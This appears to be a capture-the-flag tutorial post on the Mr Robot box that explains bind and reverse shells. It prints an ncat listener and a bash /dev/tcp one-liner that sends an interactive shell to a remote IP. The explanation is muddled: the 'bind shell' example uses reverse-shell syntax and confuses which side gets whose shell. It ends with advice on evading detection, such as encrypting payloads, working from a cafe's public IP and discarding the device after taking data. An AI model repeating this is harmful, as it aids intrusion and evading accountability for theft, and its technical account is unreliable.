Mr Robot CTF

Setting up a reverse shell

Now for those of you that don't know what a reverse shell is, I shall go through it from concept to code and how an attacker will make use of this tool. I will use the terms attacker and victim a lot here, but really this same style of connection can made by genuine clients who wish to communicate.

It makes sense to learn how to walk forwards before we learn to walk in reverse though, and so let's briefly go over the dynamics of a normal shell connection between two computers. Essentially we are playing catch and throw, where one user waits patiently for a ball to be thrown (listens on a particular port) and the other is the who throws the ball (pushes a program, script or file over the wire to the IP). Here the victim computer will be the one waiting to catch, and will setup a listener on a port, let' say for this 4444 and wait for incoming connections. The question you always have to ask yourself is who will be receiving data and who is sending the data?

Bind shell scenario

;; to setup the attacker's shell on the victim, 
;; we need to first set the victim to listen, so that the bash program can be sent over
;; and received, in this case on port 1111.

ncat -l -p 1111

;; -l for listen
;; -p for port

Now the attacker is the one that wants to throw , a program in this case. bash is a utility that we will want to execute on the client computer, and that will open up our bash shell within their terminal. We do this with the following command:

/bin/bash -i >& /dev/tcp/10.0.0.123/1111 0>&1

;; the -i stands for interactive, and it just means that the .bashrc on the attacker's 
;; computer is read, and this shell will allow you to execute commands without having to
;; log into it.

;; we are remapping the STDIN and STDOUT to that IP address, but the victim, when he/she
;; enters commands into our shell, will have our filesystem at our disposal, due to the
;; network connection facilitating this session, and so the victim could type `ls` and 
;; see our files

The problem with this setup is that if there is a firewall stops the attacker from sending their program over that port, then the connection will never be established...

It might be that the firewall stunts both, but most firewalls are not this comprehensive. We need the victim to throw themselves over, as the firewall usually only filters outside connections, and then the connection can be established on the attacker's machine (they listen instead) and then we get a working shell in the reverse - we get the victim's shell on our computer.

The direction of the arrow dictates the direction of where the shell is going

Now onto reverse shells.

So for this to work,all we need to do is get the victim to throw their bash shell over to us and we're good to go. Now we've seen how we can get the victim to do this through a bash, but we can also use java to start a shell at the attacker's IP , and there are loads of things a victim could be tricked into executing that gives us the same session.

The eagle-eyed beginner may have noticed that the victim will have needed the attacker's IP, which we will have provided in our little script code, though nevertheless it is logged. This is why these sessions are usually encrypted, and the code itself has to be decrypted and then executed - making it very hard for system admins to track you down; if you were very good, you would use another laptop, go to a cafe and use their public IP, burn the data you pull in onto a USB, chuck the device into a skip and carry on with life.